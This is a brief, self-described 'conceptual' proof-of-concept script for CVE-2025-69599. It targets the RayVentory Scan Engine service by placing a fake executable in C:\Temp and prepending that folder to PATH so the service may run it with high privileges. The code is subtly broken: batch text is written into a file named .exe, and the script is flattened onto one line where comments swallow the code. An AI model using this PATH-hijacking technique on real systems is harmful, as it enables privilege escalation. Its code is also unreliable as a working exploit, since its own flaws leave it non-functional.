CVE-2025-69599

# This is a conceptual PoC for CVE-2025-69599 # The vulnerability relies on manipulating the PATH environment variable. # Prerequisite: Ability to modify PATH or write to a directory in PATH. import os import sys # 1. Create a malicious executable (e.g., a fake 'whoami' or a DLL the target uses) # In a real scenario, this would be a compiled binary or script. malicious_payload_path = "C:\\Temp\\malicious.exe" with open(malicious_payload_path, "w") as f: f.write("@echo off\necho Malicious code executed with high privileges!") # 2. Modify the PATH environment variable # Prepend the directory containing the malicious payload to the PATH current_path = os.environ.get('PATH', '') new_path = f"C:\\Temp;{current_path}" # In an attack scenario, the attacker would set this globally or for the process context # os.environ['PATH'] = new_path print(f"[*] Attempting to trigger the vulnerability by modifying PATH...") print(f"[*] New PATH (partial): {new_path[:50]}...") print("[*] When the RayVentory Scan Engine service restarts or executes a command, it may run the malicious payload.")
